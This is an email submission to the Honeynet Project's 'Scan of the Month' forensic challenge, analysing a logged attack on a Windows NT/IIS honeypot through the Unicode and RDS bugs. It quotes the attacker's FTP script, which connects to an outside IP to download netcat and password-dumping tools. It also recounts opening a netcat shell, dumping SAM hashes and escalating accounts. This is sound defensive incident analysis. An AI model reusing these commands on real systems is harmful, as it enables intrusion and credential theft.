From RazorTech@prodigy.net Fri Apr 20 20:31:23 2001 Date: Mon, 16 Apr 2001 14:48:58 -0500 From: Michael Burk To: project@honeynet.org Subject: Scan of the month This is my first attempt at one of these Scans of the Month. The only utility I used WinDump to get a file that I could look through from your Snort log. windump -X -n -r work.log ip host 213.116.251.162 > host.txt >From there I just slowly scanned through each of the packets and wrote down in a second file what each one of them seemed to be doing. I have read tons of papers on-line on various techniques, RFCs, etc., but I suppose most everything I know (and quite a bit I don't!) I have found in the 2nd Edition of Hacking Exposed and TCP/IP Illustrated. P.S. Thanks Lance for fixing the links to the logs. : ) Which exploit(s) were used to attack the system? IIS Unicode Bug Information on this bug I mostly gleaned from reading your Scan #12 write-ups. IIS RDS vulnerability Available information on this exploit was found at www.securiteam.com The exploit script used has the tag --!ADM!ROX!YOUR!WORLD!-- which made it easy to find through Google Remote Shell Not sure if this really counts as an exploit, since it is a Trojan loaded by the attacker, but to be complete, a WinNT cmd.exe shell is loaded and accessed through nc.exe (Netcat by Hobbit) Several pings were also detected from the attacker during the attack, and a few attempts were made to glean Windows Netbios information on Port 445. Neither of these seemed to have any significance to the attack, however. How were the exploits used to access and control the system? What was done once access was gained? Immediately upon finding the web server, the attacker accessed the link on the page to "puke his thoughts out" on the Guestbook. From the Guest directory, the attacker used the Unicode bug to pull up the boot.ini file off of root. I believe this was just a test for the exploit, since no modification or use of information from the boot.ini were taken advantage of later. The attacker then used the RDS vulnerability to write a small file in the root of the web server and double checked with the Unicode bug that it worked. Through out the attack, the attacker would bounce back and forth between using these two exploits. Using the RDS bug, the attacker tried 5 times to write a small text file that would allow the FTP client to access his machine and download a few utilities. Through various mistakes in using DOS syntax, the attacker never quite got it right. Finally the attacker went back to the Unicode bug, and by accessing cmd.exe through here, the attacker successfully wrote his small access script: echo open 213.116.251.162 >ftpcom echo johna2k >>ftpcom echo haxedj00 >>ftpcom echo get nc.exe >>ftpcom echo get pdump.exe >>ftpcom echo get samdump.dll >>ftpcom echo quit >>ftpcom ftp -s:ftpcom The web server connected to his PC and began to transfer down the three files. Two quick asides at this point though. His web browser reported the attacker as using Windows 5.0 (2000), but his little banner claimed he was on Windows 95 Release Candidate 1. Also, I am absolutely *disgusted* by these *hackers* using terms from the movies. After the files are downloaded, the attacker uses nc(Netcat) to open up a Command Prompt on 6969, which the attacker promptly connects to. The attacker removes his FTP script, but never looks for the other failed scripts he scattered about on the server. Through the RDS exploit, the attacker attempts to run his pdump.exe on the SAM to extract the password hashes (Several times). While this is running, the attacker begins to explore the root directory. He removes the test files that the RDS exploit left when he first used it. Three folders are prominent besides the default NT folders: exploits, New Folder, and wiretrip. Throughout the session, the attacker has some typing problems getting his commands through the wire. This definitely added to the time it took to analyze what was done once he was in. The exploit directories are browsed, but left alone. It is also at this point that the attacker shows they are much more familiar with Unix than NT. Several times the attacker tries to use ls and cat instead of dir and type respectively. The attacker also forgets to use extensions fairly frequently, and the attacker *never* figures out when NT requires directories and group names to be encapsulated in quotes. Thoroughly in the system, the attacker begins to enumerate the various services, users, and groups in the server. The attacker gets the user list, but gets hung up on trying to get the NET SESSION list. The attacker was obviously searching for domain information. Due to the fact that the server only had the four default accounts (Administrator, Guest, IWAM_, IUSR_), the attacker knew there was limited gain to this server by itself. As the attacker finds that he can not access the Net Session list, the attacker creates a text files in the root of C, called README.NOW.Hax0r containing: Hi, I know that this is a lab server, but patch the holes! :-) At this point, the attacker aggressively tries to get domain information, but shows his lack of understanding of windows NT. The attacker continuously tries to find a way to enumerate the "Domain Admins" group, but *never* puts it in quotes, so it never parses correctly. The attacker does add the two Anonymous Login accounts IUSR and IWAM to the local Administrators group. The attacker fails to add a new user to the system though. At this point the attacker begins to despair of getting his pdump to work, so he goes into the WinNT/repair directory to get a copy of the SAM. The attacker attempts to use rdisk.exe /s- to create an updated SAM._, but fails to type it in correctly numerous times. Finally the attacker settles on just copying the SAM._ to a text file in the root directory where he can grab it through the web server by using the Unicode bug. The attacker tries a couple of more minor things at this point. He closes and reopens his Netcat session. He tries to delete a bunch of the temporary files he created, but one file stays locked, I believe by an errant process from pdump.exe. The attacker pokes around to look for other accessible drives, but does not find any. The attacker also uses the Unicode bug to verify if the warning file that he loaded was still there, but he never types the filename correctly. The attacker tries to change the password for the IWAM account, and then attempts to make some Netbios entries into the system using this new password, but fails. In a final bid for some last little piece of information, the attacker uses the Unicode bug to write another little FTP script and steals the files whisker.tar.gz from the wiretrip directory. How could this attack been prevented? RDS should be removed or set to operate in safe mode as specified in: http://www.microsoft.com/technet/security/bulletin/MS99-025.asp The Unicode bug has patches available through Microsoft's Security Bulletin: http://www.microsoft.com/technet/security/bulletin/ms00-057.asp How much time did you spend on this analysis and write-up? It took me about 4 hours going through all of the packet hex dumps to decipher what was actually done to the server and then another hour to write it up and look up the patches. Luckily, I don't get paid much (Under $50,000), so my time is probably less valuable than others. Bonus Question: Do you feel that the attacker in question knew if this was a honeypot? If so, why or why not? There are really two ways of looking at this question, so I will answer both. Did the attacker know that it was a Honeynet Honeypot? I sincerely doubt it for several reasons. The attacker never even tried to see if a sniffer, such as snort, was running on the system. The attacker never checked a process list at all. The last thing the attacker did was steal a file, which would have stiffer legal consequences than if the attacker had just run away. The attacker never checked for logs on the server or launched a sniffer of his own to check for connections, or even run netstat. Did the attacker know it was a machine meant to be hacked? Possibly. He left a note indicating that he knew it was a test server. The lack of user accounts was suspicious. Failure of NET SESSION made him suspicious. The attacker switched between all three exploits somewhat erratically. The attacker could not get netcat to work again later (Someone else had blocked it). The existence of the exploit and wiretrip directory would make me very suspicious. Also, the attacker had looked the server up on google about midway through the attack, and may have learned who operated it then. My final conclusion would be, one of three things. The attacker did not know it was a honeypot, he just figured it was a new test server. The attacker did learn during the attack that it was a honeypot, but was too stupid to do anything about it (At least he should have run away!). Finally, the attacker was someone who personally knew the owner of this honeypot and is trying to learn Windows Security and Hacking after having already learned a lot about Unix techniques. Michael Burk Network Administrator MCSE, MCP+I, CNE 4, CNE 5, CCA Mechlabs, Inc. burk@mechlabs.com